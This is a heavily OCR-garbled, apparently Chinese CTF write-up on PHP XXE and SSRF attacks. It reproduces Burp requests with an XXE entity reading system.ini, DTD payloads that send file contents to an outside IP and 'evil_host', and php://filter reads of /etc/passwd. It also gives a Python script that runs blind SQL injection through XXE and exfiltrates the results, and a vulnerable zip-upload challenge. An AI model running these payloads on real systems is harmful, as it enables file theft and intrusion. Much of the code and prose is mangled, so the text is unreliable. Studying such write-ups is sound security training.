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<?php
= curl_init()
curl_setopt(

curl_setopt(

curl_exec(

ce/rl_close(
?>
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libxml_disable_entity_loader (
= file_get_contents(
DOMDocument ()
->ToadXML (
= simplexml_import_dom(

AT

Request Response
Kl Raw  \n  Actions v Raw Render \n Actions v
POST /test/test.php HITE/L.1 1 HTTE/Ll.1 Z00 OK

Host: localhost:32398

User-Agent: Mozilla/5.0 (Windows NT 10.0; Winé4; x64; rv:93.0) Gecko/2010

Date: Fri, 05 Nov 2021 0DA:11:49 GMT

W
W

Server: Apache/2.4.39 (Winéd) Opend3L/1.1.1b mod_fcgid/2.3.9a mod_leoc
¥-Powered-By: PHE/7.3.4

IS

4 Accept: text/html, application/xhtml+sml, application/>ml;q=0.9, image/avit,

S Accept-Language: zh-CHN, zh;g=0.8,zh-TW; g=0.7, zh-HE; g=0.5, en-U3; g=0. 3, en; q= Connection: close

@

& Accept-Encoding: gzip, deflate & Content-Type: text/html; charset=UTF-8
7 Connection: close Content-Length: 206

O Upgrade-Insscurs-Requests: 1 8

% Sec-Fetch-Dest: document % ; for 1lé-bit app support
0 Hec-Fetch-Mode: navigate 10 [3B6GEnh]

Sec-Fetch-8ite: none 11 woafont=deosapp. fon

2 gec-Fetch-User: 71 12 EGABOWOA. FON=EGABOWOA. FON
2 Content-Length: 152 12 EGAQOWOA. FON=EGA4OWOA. FON
4 14 CGABOWOA . FON=CGABOWOA. FON
S <?xml version="1.0" encoding="utf-8"?> 15 CGA40WOA. FON=CGA40WOA. FON
<IDOCTYEE creds [ 17 [driwvers]
7  <IENTITY goodies SYSTEM ["file:///c:/windows/system.ini”> ]> 8 waveSmmdrv.dll
8 <creds> timer=timesr.drv
&goodies; 20

</creds>
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<br />

<p>Warning</b>: simplexml load string():
N

<pb>/var/www/S52dandan.cc/public_html/function.php</b> on R

line <b>54</b><br />

<hr />

<b>Warning</b>: simplexml _load string():

http://52.199.13.19/evil.dtd: 2: parser error : internal error in

<pb>var/www/52dandan.cc/public html/function.php</b> on |
line <b>54</b><br />

<pr />

<b>Warning</b>: simplexml_load string(): &ILIENTITY

% all &quot, &ILIENTITY &amp;#37, send SYSTEM
‘http://52.199.13.19/?file=%file; ‘&gt &quot; in

<b> var/www/52dandan.cc/public_htrml/function.php</b> on

line <b>54</b><br />

<pr />

<b>Warning</b>: simplexml load string(): Y

REBETXNERMbindxxe, HEHETEIEHIxxe

KT TEIZAIeffix, XEEHENE—T, RQEHEATXRAG:

libxml_disable_entity_loader (

= file_get_contents(
= DOMDocument ()
->ToadXML (

ALIERIXERAIBREZIREechoiIl Y, BPAKE—RIREFEF BIME— I dtdkfy

¢ 13| B ner 23| B shive_roe oy | B nev 33| B mer 43| B {85505 x| B s 503 B mew 663| B mer 703 [ new 000 |
L <!ENTITY % file SYSTEM "php://filter/read=convert.basetd-encode/resource=file:///D:/test.txt">
2 <!ENTITY % int "<!ENTITY % send SYSTEM |‘httb://iD:9999?D=%file: 1>">! |
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/ var / wa/ 52dandan. cc/ publ i c_htm / confi g. php
REEE T HE—EB2RIwriteup

<?php define(BASEDI R, "/var/ww 52dandan. club/"); define(FLAG SIG 1); define(SECRETFILE,"/var/ww 52dandan. com
/public_htnl/youw Il neverknowt hi sfil e_e2cd3614b63ccdchfe7c8f 07376fe431'); .... ?>

XEEBNTTERFMEGRER, BA— BRI RA—LRE, HaRE

[E4&: echo file_ get contents("php://filter/zlib.deflate/convert.base64-encode/resource=/etc/passwd");
fi#l£: echo file_get contents("php://filter/read=convert.base64-decode/zlib.inflate/resource=/tmp/1");

BRF| Faxxei RN A 044
[ proc/ net/arp

/ et c/ host

i AR RG] T RIER PR AR 28
HE—NYip192.168.223.18

SRISF Fxxe 1A X N pHH T I3
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LATB LA
i mport requests
url = "http://39.107.33. 75: 33899/ common. php'
s = requests. Session()
result ="'
data = {
"nane":"evil _man",
"email":"testabcdefg@nmail . cont,
"comment":"""<?xm version="1.0" encodi ng="utf-8"?>

<! DOCTYPE root [
<IENTITY % dtd SYSTEM "http://evil _host/evil.dtd">
%t d; ] >

}

for i in range(0, 28):
for j in range(48,123):
f = open('./evil.dtd ,"'w)
payload2 = """<IENTITY %file SYSTEM "php://filter/read=zlib. defl ate/ convert. base64-
encode/ resource=http://192. 168. 223. 18/ t est . php?shop=3"' - (case¥a0Owhen( (sel ect %a0gr oup_concat (t ot al ) %a0f r onPo
aOal bert _shop) | i ke¥aObi nary(' {}'))then(0)el se(1)end)-'1">
<IENTITY %all "<!ENTITY % send SYSTEM ' http://evil _host/?result=%ile;"'>">
%al | ;
U%send; """ . format (' _"*i+chr(j)+ _"*(27-i))
f.wite(payl oad2)
f.close()
print 'test {}'.format(chr(j))
r = s.post(url,data=data)
if "Oi3a3LeLPdkPkgKF84xs=" in r.content and chr(j)!="_":
result += chr(j)
print chr(j)
br eak
print result


http://52dandan.cc/public_html/config.php
http://52dandan.com/public_html/youwillneverknowthisfile_e2cd3614b63ccdcbfe7c8f07376fe431
http://52dandan.com/public_html/youwillneverknowthisfile_e2cd3614b63ccdcbfe7c8f07376fe431
php://filter/zlib.deflate/convert.base64-encode/resource=/etc/passwd
php://filter/read=convert.base64-decode/zlib.inflate/resource=/tmp/1

KFssrRRIBAIFIANG, BEARMRIssHR, A Gxxe, ERILUEEHIMEERE, RBE—a=http:// oodXtFa0RILHAL, AT SRS HENSRIFAIF)
75, MRBETHINEXETLER—T.

3. XTFssrIEftRRASHBER—LRE
Fscfe EfEREETIA
REmiE, X EEEEZE, SBEE—YEE, BA—MRBANREFEARSXESIRERTE

<?php

header (" Content - Type: text/htnl; charset=utf-8")
/15

require_once(' pcl zip.lib.php")

i f(!$_FILES){

echo

<! DOCTYPE htm >
<htm | ang="zh">
<head>
<meta charset="UTF-8" />
<meta nanme="vi ewport" content="w dt h=devi ce-wi dth, initial-scale=1.0" />
<meta http-equiv="X-UA-Conpati bl e" content="ie=edge" />
<title></title>
<link rel ="styl esheet" href="https://cdn.jsdelivr.net/npnibootstrap@. 3.7/dist/css/bootstrap.mn.css"
i ntegrity="sha384-BVYi i S| FeK1dGmJRAky cuHAHRg32OmJcww7on3RYdg4Va+PnSTsz/ K68vbdEj h4u" crossori gi n="anonynous" >
<style type="text/css">
. 1 ogi n- box{
mar gi n-top: 100px
hei ght: 500px
border: 1px solid #000

}
body({
background: white
}
. btn1{
wi dt h: 200px;
}
.dy{
di splay: bl ock
hei ght: 400px
}
</styl e>
</ head>

<body>
<di v class="container">
<di v class="Iogi n-box col -nmd-12">
<formclass="form hori zontal " nethod="post" enctype="multipart/formdata" >
<h1></hl>
<hr />
<div class="formgroup">
<l abel class="col-sm2 control-1|abel "></I abel >
<di v class="input-group col-sm 10">
<div >
<l abel for="">
<i nput type="file" name="file" />

</ | abel >
</ di v>
</ div>

</ div>

<div class="col-sm8 text-right">
<i nput type="subnit" class="btn btn-success text-right btnl" />
</div>
</fornp
</ di v>
</div>
</ body>
</htm >


http://xxx
http://xxx

show_source(__FILE_);
}el sef
$file = $_FILES['file'];

if(!$file){
exit("");
}

$nanme = $file[' nane'];

$dir "upl oad/ "' ;
$ext strtol ower (substr(strrchr($name, '."'), 1));
$path = $dir. $nane;

function check_dir ($dir){
$handl e = opendir($dir);
whi | e(($f = readdir($handle)) !== false){
if(lin_array($f, array('.', '.."))){
if(is_dir(sdir.$f)){
check_dir($dir.$f."/");
}el se{
$ext = strtol ower(substr(strrchr($f, '.'), 1));
if(lin_array($ext, array('jpg', 'gif', '"png')))
unlink($dir. $f);
}

}

if(lis_dir($dir)){
nkdir($dir);
}

$tenp_dir = $dir.nmd5(time(). rand(1000,9999));
if(lis_dir($tenp_dir)){

nkdir($tenmp_dir);
}

if(in_array($ext, array('zip', 'jpg', '"gif', "png'))){
if($ext == "'zip"){

$archive = new Pcl Zip($file['tnp_name']);

foreach($archive->listContent() as $val ue){
$fil ename = $val ue["fil enane"];
if(preg_match('/\.php$/', $filenane)){

exit("php!");
}

}

if ($archive->extract(PCLZI P_OPT_PATH, $tenp_dir, PCLZI P_OPT_REPLACE_NEWER) == 0) {
check_dir($dir);

exit("");
}
check_dir($dir);
exit('!'");
}el sef

nove_upl oaded_file($file['tnp_name'], $tenp_dir.'/'.$file[' name']);
check_dir($dir);
exit('!");
}
}el sef
exit (' zipjpggifpng!');
}
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= .md5 ( time(). |rand|(

(1is_dir( ))A4

mkdir(
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